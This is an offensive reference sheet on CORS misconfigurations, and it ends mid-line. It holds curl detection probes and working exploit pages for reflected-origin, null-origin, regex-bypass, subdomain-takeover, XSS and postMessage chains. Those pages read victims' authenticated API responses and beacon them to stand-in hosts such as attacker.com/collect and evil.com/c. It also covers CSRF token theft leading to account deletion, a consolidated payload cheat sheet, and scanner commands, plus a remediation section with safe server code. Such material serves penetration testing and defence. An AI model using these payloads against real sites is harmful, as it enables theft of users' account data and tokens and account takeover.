A complete operational reference for Cross-Origin Resource Sharing (CORS) misconfigurations covering detection, exploitation, trust chain abuse, null origin, pre-flight bypass, credential theft, post-message chaining, subdomain pivoting, and remediation. Covers both attacker techniques and secure developer implementation. Mapped to MITRE ATT&CK T1190 / T1539.
1. Core Concepts & How CORS Works
THE SAME-ORIGIN POLICY (SOP):
SAME-ORIGIN POLICY
├── A web page can freely read responses from requests to its OWN origin
│ └── Origin = scheme + host + port (https://example.com:443)
│
├── Cross-origin reads are BLOCKED by the browser unless the server
│ explicitly allows them via CORS headers
│
└── Cross-origin WRITES (form POSTs, navigation) are allowed by default
└── This is the distinction CSRF exploits — CORS is a read control
Key Terms:
Origin— the combination ofscheme://host:port.https://a.com≠http://a.com≠https://a.com:8080.SOP— Same-Origin Policy — browser security model that prevents cross-origin reads by default.CORS— Cross-Origin Resource Sharing — W3C mechanism that lets servers declare which origins may read their responses.Simple Request— GET / POST with only basic headers and safe content-types. No pre-flight needed. Dangerous because it sends cookies automatically.Pre-flight— OPTIONS request the browser sends before a non-simple cross-origin request, to ask if the actual request is allowed.ACAO—Access-Control-Allow-Originresponse header. The key CORS header.ACAC—Access-Control-Allow-Credentials: true— allows cookies/auth headers to be included in cross-origin requests and their responses to be readable.ACAM—Access-Control-Allow-Methods— list of allowed HTTP methods.ACAH—Access-Control-Allow-Headers— list of allowed request headers.ACMA—Access-Control-Max-Age— how long a pre-flight result can be cached.Reflected Origin— server blindly echoes back whateverOrigin:header the request sent as theACAOvalue — critical misconfiguration.Null Origin— origin valuenullsent by browsers for sandboxed iframes, local files, data URIs, redirects. Some servers explicitly trust it.
The CORS Flow:
SIMPLE REQUEST (GET / safe POST — no pre-flight):
Browser Server
│── GET /api/data ──────────────────────────────────>│
│ Origin: https://attacker.com │
│ │
│<── 200 OK ─────────────────────────────────────────│
│ Access-Control-Allow-Origin: https://attacker.com │
│ Access-Control-Allow-Credentials: true │
│ │
└── Browser allows JS to read the response ─────────┘
PRE-FLIGHT (for non-simple methods / headers):
Browser Server
│── OPTIONS /api/data ──────────────────────────────>│
│ Origin: https://attacker.com │
│ Access-Control-Request-Method: DELETE │
│ Access-Control-Request-Headers: X-Custom-Header │
│ │
│<── 204 No Content ──────────────────────────────── │
│ Access-Control-Allow-Origin: https://attacker.com │
│ Access-Control-Allow-Methods: DELETE │
│ Access-Control-Allow-Headers: X-Custom-Header │
│ │
│── DELETE /api/data ─────────────────────────────── │ (actual request follows)
CORS vs CSRF:
- CORS misconfiguration = attacker can READ cross-origin responses (account data, tokens, API keys).
- CSRF = attacker can WRITE / trigger actions cross-origin (state-changing requests with victim's cookies).
- CORS with
ACAC: true+ reflected origin = BOTH read and write possible from attacker's origin.
2. CORS Headers Reference
2.1 Response Headers (Server → Browser)
| Header | Purpose | Dangerous Value |
|---|---|---|
Access-Control-Allow-Origin |
Which origins may read the response | * or reflected Origin value |
Access-Control-Allow-Credentials |
Allow cookies/auth in cross-origin requests | true (combined with loose ACAO) |
Access-Control-Allow-Methods |
Permitted methods in actual request | * or overly broad list |
Access-Control-Allow-Headers |
Permitted request headers | * or overly broad list |
Access-Control-Expose-Headers |
Extra response headers JS can access | Leaks sensitive headers |
Access-Control-Max-Age |
Pre-flight cache duration (seconds) | Very large values |
2.2 Request Headers (Browser → Server)
| Header | Set by | Notes |
|---|---|---|
Origin |
Browser (automatic) | Set on all cross-origin requests; cannot be overridden by JS |
Access-Control-Request-Method |
Browser (pre-flight only) | Announces the intended method |
Access-Control-Request-Headers |
Browser (pre-flight only) | Announces non-simple headers |
2.3 Simple vs Non-Simple Requests
SIMPLE REQUEST (no pre-flight triggered):
├── Methods: GET, HEAD, POST
├── Content-Type (if POST): application/x-www-form-urlencoded
│ multipart/form-data
│ text/plain
└── No custom headers (beyond CORS-safe list)
NON-SIMPLE REQUEST (pre-flight required):
├── Methods: PUT, DELETE, PATCH, OPTIONS, CONNECT, TRACE
├── Content-Type: application/json, application/xml, etc.
└── Any custom headers: Authorization, X-API-Key, X-Requested-With, etc.
IMPORTANT: Simple requests send cookies automatically WITHOUT a pre-flight.
If the server returns ACAO for that origin, the response is readable.
This means a misconfigured endpoint is exploitable via a simple GET,
even without triggering the pre-flight OPTIONS check.
3. CORS Misconfiguration Taxonomy
CORS MISCONFIGURATION TYPES
│
├── REFLECTED ORIGIN (Critical)
│ └── Server echoes any Origin value back as ACAO
│ → Full cross-origin read from any attacker domain
│
├── WILDCARD + CREDENTIALS (Critical — spec-invalid but server logic can allow)
│ └── ACAO: * with ACAC: true (browsers reject spec-wise, but
│ server-side validation gaps can make this exploitable in non-browser clients)
│
├── NULL ORIGIN TRUST (High)
│ └── ACAO: null explicitly returned
│ → Exploitable via sandboxed iframe with data: URI
│
├── WEAK REGEX / PREFIX / SUFFIX MATCHING (High)
│ ├── Prefix: trusting "startsWith attacker-controlled subdomain"
│ │ → attacker.com.evil.com / attackerXXX.com
│ ├── Suffix: trusting "endsWith target.com"
│ │ → evil-target.com / xxtarget.com
│ └── Escaped dot: /^https:\/\/target\.com/ misimplemented as
│ /^https:\/\/target.com/ → targetXcom can match (rare)
│
├── SUBDOMAIN WILDCARD (High)
│ └── Trusting *.target.com — any subdomain, including a compromised one,
│ can read responses from the API
│
├── HTTP ORIGIN TRUST (Medium)
│ └── Trusting http:// variant of an https:// API
│ → Allows downgrade / MITM pivot
│
└── OVERLY BROAD WHITELIST (Medium)
└── Trusting development / staging / partner origins in production
→ dev.target.com, staging.target.com, partner.otherdomain.com
4. Detection & Fingerprinting
4.1 Manual Detection — Probe With curl
# Probe 1: Does the server reflect an arbitrary origin?
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user
# Look for: Access-Control-Allow-Origin: https://evil.com
# And: Access-Control-Allow-Credentials: true
# Probe 2: Does the server trust null origin?
curl -s -I -H "Origin: null" https://target.com/api/user
# Look for: Access-Control-Allow-Origin: null
# Probe 3: Does a subdomain pattern match?
curl -s -I -H "Origin: https://target.com.evil.com" https://target.com/api/user
curl -s -I -H "Origin: https://evil-target.com" https://target.com/api/user
curl -s -I -H "Origin: https://notreallytarget.com" https://target.com/api/user
# Probe 4: Check pre-flight OPTIONS
curl -s -I -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
https://target.com/api/user
# Probe 5: HTTP downgrade
curl -s -I -H "Origin: http://target.com" https://target.com/api/user
# Probe 6: Port variation
curl -s -I -H "Origin: https://target.com:8080" https://target.com/api/user
4.2 Response Interpretation
Received ACAO: https://evil.com + ACAC: true → CRITICAL — full exploit
Received ACAO: https://evil.com + no ACAC → Read-only (no cookies) — still useful for API key theft
Received ACAO: * + no ACAC → Wildcard — public data only (cannot use with credentials per spec)
Received ACAO: null + ACAC: true → Null origin exploit possible
No ACAO header → Not vulnerable (SOP blocks cross-origin read)
ACAO: https://target.com (static, not reflected) → Correct — investigate if you control that origin
4.3 Identifying Injection Points to Test
→ REST API endpoints: /api/v1/user /api/account /api/profile
→ Auth endpoints: /auth/token /oauth/callback /login
→ AJAX endpoints reflected: Any XHR target in JS source
→ Admin / internal APIs: /admin/api/* /internal/*
→ GraphQL: /graphql /api/graphql
→ WebSocket upgrade endpoints: Check for CORS headers on HTTP upgrade
→ CDN / static asset origins: Sometimes misconfigured to allow credential reads
→ Third-party integrations: SSO endpoints, payment APIs, analytics
→ Vary: Origin header present: Server is doing origin-based logic — always worth probing
4.4 Indicator — Vary: Origin
curl -s -I https://target.com/api/user | grep -i vary
# Vary: Origin → server is computing ACAO per request → probe for reflection
# No Vary header → likely static ACAO or no CORS at all
5. Reflected Origin — Full Trust Misconfiguration
What it is: The server reads the Origin request header and echoes it back verbatim as Access-Control-Allow-Origin, combined with Access-Control-Allow-Credentials: true.
Server-side anti-pattern:
// Node.js / Express — VULNERABLE:
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin); // ← reflects any origin
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
// Python / Flask — VULNERABLE:
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # ← reflects any origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Detection:
curl -s -I \
-H "Origin: https://attacker-controlled.com" \
https://target.com/api/sensitive-endpoint
# Vulnerable response:
# HTTP/2 200
# access-control-allow-origin: https://attacker-controlled.com
# access-control-allow-credentials: true
Exploit — Steal Authenticated Response:
<!-- Host this on https://attacker.com -->
<!DOCTYPE html>
<html>
<body>
<script>
fetch('https://target.com/api/account', {
credentials: 'include' // sends victim's cookies
})
.then(r => r.text())
.then(data => {
// Exfiltrate stolen data
fetch('https://attacker.com/collect?d=' + btoa(data));
});
</script>
</body>
</html>
Exploit — XHR version (wider browser compat):
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch('https://attacker.com/collect?d=' + btoa(xhr.responseText));
}
};
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true; // sends cookies
xhr.send();
</script>
Exploit — Extract API Keys / Tokens from response body:
<script>
fetch('https://target.com/api/settings', { credentials: 'include' })
.then(r => r.json())
.then(json => {
// Steal specific fields
var leak = {
api_key: json.api_key,
secret: json.secret,
token: json.auth_token
};
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(leak));
});
</script>
6. Wildcard Misconfiguration
What it is: Access-Control-Allow-Origin: * — allows any origin to read the response.
CRITICAL RULE:
ACAO: * + ACAC: true → Browsers REFUSE to send/read this combination per spec.
ACAO: * without ACAC → Works for unauthenticated public endpoints — any origin can read.
When is * still a problem?
├── Endpoint returns sensitive data without authentication
│ → ACAO: * leaks that data to any malicious page the user visits
├── Token passed in URL / query string (not cookies / auth header)
│ → fetch('https://target.com/api?token=SECRET') + ACAO: * = token theft
└── Non-browser clients (curl, mobile, server-side) ignore ACAC restrictions
→ ACAO: * + ACAC: true is exploitable from non-browser attack surfaces
Detection:
curl -s -I https://target.com/api/public-but-sensitive
# access-control-allow-origin: *
# Check: Does the response contain anything useful even without auth?
# Check: Is a token/key passed in the URL that gets included in the response?
Exploit — Read unauthenticated sensitive endpoint:
<script>
// Even without credentials, if the endpoint returns sensitive data:
fetch('https://target.com/api/config') // no credentials needed
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data));
});
</script>
7. Null Origin Abuse
What it is: Some servers explicitly whitelist Origin: null. Browsers send null as the origin for:
- Pages loaded from
file:// data:URI pages- Sandboxed iframes (
sandboxattribute withoutallow-same-origin) - Redirected cross-origin requests (some browsers)
- Locally-opened HTML files
Detection:
curl -s -I -H "Origin: null" https://target.com/api/user
# Vulnerable response:
# access-control-allow-origin: null
# access-control-allow-credentials: true
Exploit — Sandboxed iframe with data URI:
<!-- The outer page sends a sandboxed iframe. The iframe's origin is "null".
The server trusts null. The response is readable by the iframe, which
passes it to the outer page via postMessage. -->
<iframe sandbox="allow-scripts allow-top-navigation-by-user-activation"
srcdoc="
<script>
fetch('https://target.com/api/account', { credentials: 'include' })
.then(r => r.text())
.then(data => {
parent.postMessage(data, '*');
});
</script>
"></iframe>
<script>
window.addEventListener('message', function(e) {
fetch('https://attacker.com/collect?d=' + btoa(e.data));
});
</script>
Why sandbox without allow-same-origin? The sandbox attribute removes the iframe's same-origin relationship with the parent. The browser assigns it null as its origin — matching what the server trusted.
8. Subdomain Trust & Subdomain Takeover Chaining
What it is: Server trusts any subdomain of a target domain — *.target.com. If an attacker controls any subdomain (via takeover or XSS), they can read CORS-protected responses.
Detection:
# Test if any subdomain of target.com is trusted:
curl -s -I -H "Origin: https://anything.target.com" https://api.target.com/user
curl -s -I -H "Origin: https://dev.target.com" https://api.target.com/user
curl -s -I -H "Origin: https://staging.target.com" https://api.target.com/user
curl -s -I -H "Origin: https://test.target.com" https://api.target.com/user
Subdomain Takeover → CORS Chain:
ATTACK CHAIN:
1. Find subdomain trusted in CORS policy: dev.target.com
2. Find that dev.target.com points to an unclaimed resource:
→ GitHub Pages (CNAME to username.github.io — user deleted)
→ Heroku (CNAME to myapp.herokuapp.com — app deleted)
→ S3 (CNAME to mybucket.s3.amazonaws.com — bucket deleted)
→ Netlify, Fastly, Azure, Shopify, etc.
3. Claim the external resource (create the GitHub Pages repo, claim the Heroku app)
4. Host CORS exploit on dev.target.com
5. Now https://dev.target.com/exploit.html can read https://api.target.com/user
with victim's credentials → CORS policy trusted it
# Find dangling CNAMEs for target subdomains:
# Tools: subjack, nuclei, dnsx, can-i-take-over-xyz list
# Manual check:
dig CNAME dev.target.com
# If points to username.github.io → try creating that GitHub Pages repo
# If NXDOMAIN or no-such-bucket error → takeover likely possible
# Confirm takeover:
curl -I https://dev.target.com
# "There isn't a GitHub Pages site here" → you can claim it
# "NoSuchBucket" → S3 takeover possible
Exploit payload once takeover is achieved:
<!-- Hosted on taken-over subdomain: dev.target.com/exploit.html -->
<script>
fetch('https://api.target.com/v1/account', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://your-collector.com/steal', JSON.stringify(data));
});
</script>
9. Regex / Prefix-Suffix Origin Validation Bypass
What it is: The server attempts to validate the Origin header using a regex or string match that can be tricked by crafted domain names.
9.1 Suffix Match Bypass
# Server-side (VULNERABLE):
def is_allowed_origin(origin):
return origin.endswith('target.com') # ← suffix check
# Bypass: Origin: https://evil-target.com → ends with target.com ✓
# Origin: https://notreallytarget.com → ends with target.com ✓
# Origin: https://xxtarget.com → ends with target.com ✓
curl -s -I -H "Origin: https://evil-target.com" https://api.target.com/user
curl -s -I -H "Origin: https://attackertarget.com" https://api.target.com/user
9.2 Prefix Match Bypass
# Server-side (VULNERABLE):
def is_allowed_origin(origin):
return origin.startswith('https://target.com') # ← prefix check
# Bypass: Origin: https://target.com.evil.com → starts with https://target.com ✓
# Origin: https://target.com.attacker.io → starts with https://target.com ✓
curl -s -I -H "Origin: https://target.com.evil.com" https://api.target.com/user
9.3 Unescaped Dot in Regex
# Server-side (VULNERABLE):
import re
def is_allowed_origin(origin):
return re.match(r'^https://target.com$', origin) # ← dot not escaped
# Bypass: Origin: https://targetXcom → dot matches any character ✓
# (rare in practice, but real in legacy code)
curl -s -I -H "Origin: https://targetXcom" https://api.target.com/user
9.4 Other Regex Pitfalls
# VULNERABLE patterns and their bypasses:
r'target\.com' # matches anywhere in string → evil.target.com.attacker.io
r'^https?://target\.com' # allows http:// → HTTP downgrade MITM
r'target\.com$' # suffix match → evil-target.com
r'^https://target\.com' # prefix match → target.com.evil.com (if no $ anchor)
# SAFE pattern:
r'^https://target\.com$' # exact match
r'^https://(www\.)?target\.com$' # with www
r'^https://([a-z0-9-]+\.)?target\.com$' # subdomains only
10. Pre-flight Bypass & Simple Request Abuse
What it is: Simple requests (GET, POST with form content-type) do not trigger a pre-flight. Many developers test their CORS by checking what OPTIONS returns — but forget that GET requests skip this check entirely.
PRE-FLIGHT BYPASS SCENARIOS:
│
├── Sensitive data on GET endpoint
│ → No pre-flight needed. If ACAO is misconfigured, data is readable directly.
│
├── State-changing action via POST with text/plain or form body
│ → No pre-flight. Combined CORS + CSRF.
│ → E.g.: POST /api/transfer with body "amount=1000&to=attacker"
│ Content-Type: text/plain ← simple request, no pre-flight
│
├── Server only validates pre-flight OPTIONS, not actual request
│ → OPTIONS returns ACAO: specific-origin
│ → GET/POST actual requests: returns ACAO: * or reflects origin
│ → Attacker skips OPTIONS, sends actual request directly
│
└── Cache poisoning of pre-flight response
→ Pre-flight cached with ACMA (Access-Control-Max-Age) for long duration
→ Overwrite cache with malicious Origin → victim's browser uses cached bad response
Test: Does the server skip pre-flight validation on the actual request?
# Check pre-flight:
curl -s -I -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST" \
https://target.com/api/transfer
# Returns 403 / no ACAO → seems safe
# Check actual request — does it still reflect origin?
curl -s -I -X POST \
-H "Origin: https://evil.com" \
-H "Content-Type: application/json" \
-d '{"amount":1000}' \
https://target.com/api/transfer
# Returns ACAO: https://evil.com → VULNERABLE (bypassed pre-flight)
Simple POST exploit (form-based, no pre-flight):
<script>
// POST with text/plain bypasses pre-flight entirely:
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'text/plain' },
body: 'email=attacker@evil.com'
});
// If server processes this despite wrong content-type → CSRF via CORS
</script>
11. Credential Theft via Trusted Origin
What it is: Chaining CORS misconfiguration with XSS on a trusted origin — even a minor/reflected XSS on a trusted subdomain becomes a full account takeover if the API trusts that subdomain's origin.
ATTACK CHAIN:
1. CORS policy: API trusts https://blog.target.com
2. Attacker finds XSS in blog.target.com (reflected, stored, DOM)
3. XSS payload fetches https://api.target.com/account
→ Origin: https://blog.target.com is trusted
→ ACAC: true → victim's session cookie is included
→ Response readable → full account data / tokens stolen
4. Escalate: change password, steal 2FA codes, create API keys
XSS → CORS Exploit Payload:
// Injected via XSS on blog.target.com
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
var img = new Image();
img.src = 'https://attacker.com/c?' + btoa(JSON.stringify(data));
});
Enumerate trusted origins from JavaScript source:
# Look for CORS origin lists hardcoded in server code or JS config bundles:
curl -s https://target.com/static/main.js | grep -E "(allowedOrigins|corsOrigins|whitelist|origins)"
# Check API error responses for hints:
curl -s -H "Origin: https://test.com" https://api.target.com/v1/user
# Some servers return: {"error":"Origin https://test.com not allowed","allowed":["https://target.com","https://blog.target.com"]}
12. postMessage Chaining
What it is: window.postMessage is used for cross-frame communication. Misconfigured postMessage receivers that don't validate event.origin can be chained with CORS to exfiltrate data.
Vulnerable receiver (target page):
// On target.com — VULNERABLE:
window.addEventListener('message', function(event) {
// No origin check!
document.getElementById('output').innerHTML = event.data;
});
Exploit: CORS read → postMessage exfil:
<!-- Attacker page -->
<iframe id="victim" src="https://target.com/dashboard"></iframe>
<script>
window.addEventListener('message', function(e) {
// Receive data sent by victim frame's misconfigured listener
fetch('https://attacker.com/collect?d=' + btoa(e.data));
});
setTimeout(function() {
// Send malicious command to victim frame's postMessage listener
document.getElementById('victim').contentWindow.postMessage(
'<img src=x onerror="fetch(\'https://api.target.com/account\',{credentials:\'include\'}).then(r=>r.text()).then(d=>parent.postMessage(d,\'*\'))">',
'*' // no target origin restriction
);
}, 1000);
</script>
Detect misconfigured postMessage:
# Search for message listeners without origin checks:
curl -s https://target.com/app.js | grep -A5 "addEventListener.*message"
# Look for:
# window.addEventListener('message', function(e) {
# ... e.data used without checking e.origin
13. CORS + Other Vulnerabilities (Attack Chains)
13.1 CORS + CSRF
CORS misconfiguration (reflected origin + ACAC: true) makes anti-CSRF tokens readable:
1. Victim visits attacker page
2. Attacker fetches /api/csrf-token with victim's cookies (CORS + credentials)
3. CORS policy returns ACAO for attacker origin → token readable
4. Attacker uses stolen CSRF token to submit state-changing request
5. Full CSRF even with token protection
<script>
// Step 1: Steal the CSRF token via CORS
fetch('https://target.com/api/csrf-token', { credentials: 'include' })
.then(r => r.json())
.then(data => {
var token = data.csrf_token;
// Step 2: Use stolen token for CSRF action
return fetch('https://target.com/api/account/delete', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({ confirm: true })
});
});
</script>
13.2 CORS + OAuth
CORS misconfiguration on OAuth callback / token endpoint:
1. OAuth flow returns access_token in JSON response body
2. CORS misconfiguration allows attacker origin to read that response
3. Attacker steals access_token → full OAuth account access
Steps:
1. Trigger OAuth flow with victim's browser (phishing, open redirect on provider)
2. CORS request to /oauth/token endpoint with victim's session
3. Read token from JSON response
13.3 CORS + SSRF
If the CORS-trusted origin can be influenced (e.g., via an open redirect):
→ https://target.com/redirect?url=https://attacker.com
→ Origin of response: https://target.com (trusted)
→ Redirect destination: reads from internal network via SSRF
→ CORS allows attacker to read the SSRF response
13.4 CORS + Subdomain Takeover (full chain)
Full attack chain:
1. Find api.target.com returns: Access-Control-Allow-Origin: https://*.target.com
Access-Control-Allow-Credentials: true
2. Find legacy.target.com CNAME → deleted-app.heroku.com (dangling DNS)
3. Claim deleted-app on Heroku → control legacy.target.com
4. Host exploit on legacy.target.com/pwn.html
5. Phish victim → victim visits legacy.target.com/pwn.html
6. Page fetches api.target.com/account with victim's cookies
7. CORS policy: Origin https://legacy.target.com is a *.target.com subdomain → trusted
8. Response readable → steal account data, tokens, PII
14. Automation — Tools & Wordlists
14.1 Corsy
# Fast CORS misconfiguration scanner
pip install corsy
corsy -u https://target.com/api/user
corsy -u https://target.com/api/user -H "Cookie: session=abc123" # with auth
corsy -i urls.txt # bulk scan
corsy -u https://target.com -t 20 # 20 threads
14.2 CORStest
git clone https://github.com/RUB-NDS/CORStest
python corstest.py urls.txt
python corstest.py -c "session=abc" urls.txt # with cookie
14.3 Burp Suite
Active Scan → checks for CORS misconfigurations automatically
Manual testing:
1. Intercept request → Send to Repeater
2. Add header: Origin: https://evil.com
3. Check response for ACAO / ACAC headers
4. Try Origin: null, Origin: https://target.com.evil.com, etc.
Burp Collaborator:
→ Use Collaborator URL as Origin value
→ If server reflects it → confirmed external origin trust
14.4 ffuf / Custom Origin Wordlist Fuzzing
# Fuzz origin values:
ffuf -u https://target.com/api/user \
-H "Origin: FUZZ" \
-w origins-wordlist.txt \
-mr "access-control-allow-origin" \
-H "Cookie: session=TOKEN"
# Origins wordlist content:
# https://evil.com
# https://target.com.evil.com
# https://evil-target.com
# https://eviltarget.com
# null
# https://target.com:8080
# http://target.com
# https://127.0.0.1
# https://localhost
# https://dev.target.com
# https://staging.target.com
14.5 Nuclei Templates
# CORS misconfig templates:
nuclei -u https://target.com -t cors-misconfig.yaml
nuclei -u https://target.com -tags cors
# Key templates:
# cors-misconfig — reflected origin
# cors-wildcard — wildcard detection
# cors-null — null origin trust
14.6 Manual Bash One-liner Scan
# Quick scan a list of endpoints:
while IFS= read -r url; do
origin_reflected=$(curl -s -o /dev/null -D - \
-H "Origin: https://evil-cors-test.com" "$url" \
| grep -i "access-control-allow-origin: https://evil-cors-test.com")
if [ -n "$origin_reflected" ]; then
echo "[VULN] $url"
fi
done < endpoints.txt
15. Remediation
15.1 Strict Origin Allowlist (Server-Side)
# Python / Flask — SAFE:
ALLOWED_ORIGINS = {
'https://app.target.com',
'https://www.target.com',
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # CRITICAL — tell caches this varies
return response
// Node.js / Express — SAFE (using cors package):
const cors = require('cors');
const corsOptions = {
origin: function (origin, callback) {
const allowed = ['https://app.target.com', 'https://www.target.com'];
// Reject requests with no origin (non-browser) unless explicitly needed
if (!origin) return callback(new Error('No origin'), false);
if (allowed.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'), false);
}
},
credentials: true,
};
app.use(cors(corsOptions));
// Spring Boot — SAFE:
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://app.target.com", "https://www.target.com")
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("Authorization", "Content-Type")
.allowCredentials(true)
.maxAge(3600);
// Never use .allowedOriginPatterns("*") with .allowCredentials(true)
}
}
15.2 Never Reflect Origin Blindly
# VULNERABLE — never do this:
response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin')
# SAFE — always validate against a strict allowlist first:
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
# If not in allowlist: do NOT set ACAO at all — SOP blocks it
15.3 Never Trust null Origin
# VULNERABLE:
if origin == 'null' or origin in ALLOWED_ORIGINS: # ← null is dangerous
# SAFE:
if origin in ALLOWED_ORIGINS: # null is never in the set
15.4 Always Set Vary: Origin
When you set ACAO based on the request Origin value, you MUST add:
Vary: Origin
to the response.
Without it, caches (CDN, proxy, browser) may cache a response with one
ACAO value and serve it to a different origin — causing both security
issues and broken behavior.
response.headers['Vary'] = 'Origin'
15.5 Wildcard Rules
ACAO: * → Safe ONLY for:
├── Truly public endpoints with no sensitive data
├── Public CDN assets
└── Open APIs that intentionally serve anonymous content
ACAO: * → NEVER for:
├── Authenticated endpoints
├── Endpoints that return user data
├── Endpoints that accept session cookies
└── Any endpoint behind login
15.6 Validate Regex Origin Patterns Correctly
import re
ALLOWED_PATTERN = re.compile(
r'^https://(www\.)?target\.com$' # ^ anchor + $ anchor + escaped dot
)
def is_allowed_origin(origin):
if not origin:
return False
return bool(ALLOWED_PATTERN.match(origin))
# For subdomain allowlisting (if strictly necessary):
SUBDOMAIN_PATTERN = re.compile(
r'^https://[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?\.target\.com$'
)
# Even then: scope to specific trusted subdomains, not all of *.target.com
15.7 Defense-in-Depth
PRIMARY CONTROL:
├── Strict origin allowlist — explicit list of trusted origins, no patterns
├── Never reflect Origin header without validation
├── Never trust null origin
└── Set Vary: Origin on all CORS-aware responses
SECONDARY CONTROLS:
├── Keep ACAC: true only on endpoints that genuinely need authenticated cross-origin reads
├── Prefer sending tokens in Authorization header (non-simple → pre-flight required)
│ over cookies (simple request → no pre-flight needed)
├── Use CSRF tokens for state-changing endpoints even with CORS
├── Scope CORS headers to the minimum required path (/api/public, not /*)
├── Set restrictive ACAM (Access-Control-Max-Age) — short pre-flight cache
└── Remove dev/staging origins from production CORS configs
DETECTION:
├── Log all CORS rejections (Origin not in allowlist)
├── Alert on unusual volumes of cross-origin requests from unexpected origins
├── DAST scanning with Corsy / Burp in CI/CD pipeline
├── SAST — grep codebase for origin-reflection patterns
│ grep -r "req.headers.origin\|request.origin\|getHeader.*Origin" --include="*.js" .
└── Penetration test CORS headers on all API endpoints regularly
16. Master Cheat Sheet
Attack Decision Tree
Target has an API or authenticated endpoint?
│
├── Add header: Origin: https://evil.com
│ ├── Response includes: Access-Control-Allow-Origin: https://evil.com ?
│ │ ├── + Access-Control-Allow-Credentials: true?
│ │ │ └── CRITICAL — full exploit with victim's cookies
│ │ │ → Use fetch() with credentials: 'include'
│ │ └── No ACAC?
│ │ └── Can still read unauthenticated responses / tokens in body
│ │
│ └── No reflection? → Try further probes:
│ ├── Origin: null
│ │ → ACAO: null + ACAC: true → sandboxed iframe exploit
│ ├── Origin: https://target.com.evil.com
│ │ → ACAO reflects it → prefix/regex bypass
│ ├── Origin: https://evil-target.com
│ │ → ACAO reflects it → suffix regex bypass
│ ├── Origin: https://dev.target.com / https://staging.target.com
│ │ → ACAO reflects → subdomain in allowlist
│ │ → Check if that subdomain is takeover-able
│ └── Origin: http://target.com
│ → ACAO reflects → HTTP downgrade trusted
│
├── ACAO: * present?
│ ├── Does endpoint return sensitive data without auth?
│ │ └── Read without credentials via simple fetch()
│ └── Is auth token passed in URL / query string?
│ └── Token readable cross-origin without credentials
│
├── Subdomain in CORS whitelist (dev/staging/legacy)?
│ ├── Check subdomain DNS for dangling CNAME
│ ├── Tools: subfinder, dnsx, subjack, nuclei
│ └── Claim dangling resource → host exploit on trusted subdomain
│
├── XSS found on any trusted origin?
│ └── XSS → CORS → steal authenticated API responses
│
└── No CORS header at all?
└── Not exploitable via CORS — check for CSRF separately
Quick Payload Reference
# ── Detection Probes ──
curl -s -I -H "Origin: https://evil.com" TARGET/api/endpoint
curl -s -I -H "Origin: null" TARGET/api/endpoint
curl -s -I -H "Origin: https://TARGET.evil.com" TARGET/api/endpoint # prefix bypass
curl -s -I -H "Origin: https://evil-TARGET.com" TARGET/api/endpoint # suffix bypass
curl -s -I -H "Origin: http://TARGET.com" TARGET/api/endpoint # HTTP downgrade
curl -s -I -H "Origin: https://dev.TARGET.com" TARGET/api/endpoint # subdomain check
# ── Confirm with ACAC ──
curl -s -I -H "Origin: https://evil.com" TARGET/api/endpoint \
| grep -iE "(access-control-allow-origin|access-control-allow-credentials)"
# ── Full Exploit (Reflected Origin + ACAC) ──
# Host on evil.com:
fetch('https://TARGET/api/account', { credentials: 'include' })
.then(r => r.json())
.then(d => navigator.sendBeacon('https://evil.com/c', JSON.stringify(d)));
# ── Null Origin Exploit ──
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://TARGET/api/account', { credentials: 'include' })
.then(r => r.text())
.then(d => parent.postMessage(d, '*'));
</script>
"></iframe>
# ── Read-only (no credentials) ──
fetch('https://TARGET/api/config') // no credentials needed if ACAO: *
.then(r => r.text())
.then(d => fetch('https://evil.com/c?d=' + btoa(d)));
# ── CSRF token theft via CORS ──
fetch('https://TARGET/api/csrf-token', { credentials: 'include' })
.then(r => r.json())
.then(data => {
return fetch('https://TARGET/api/account/delete', {
method: 'POST', credentials: 'include',
headers: { 'X-CSRF-Token': data.token, 'Content-Type': 'application/json' },
body: JSON.stringify({ confirm: true })
});
});
CORS Header Security Checklist
CORS Response Header Audit — run for every API endpoint:
□ ACAO header present?
□ If ACAO: * → is endpoint sensitive or authenticated? → FINDING
□ If ACAO: null → FINDING
□ If ACAO reflects Origin → CRITICAL FINDING (check for ACAC: true)
□ If ACAO is a static allowlisted value → is that origin fully trusted?
□ ACAC: true present?
□ Only allowed when ACAO is a specific origin (not *)
□ Is that specific origin resistant to XSS and subdomain takeover?
□ Vary: Origin present?
□ If server does origin-dependent ACAO and Vary is missing → cache poisoning risk
□ ACAH header → does it expose dangerous headers unnecessarily?
□ ACAM → unreasonably long pre-flight cache duration?
Tool Quick Reference
# Corsy:
corsy -u TARGET/api/endpoint -H "Cookie: session=TOKEN"
# Nuclei:
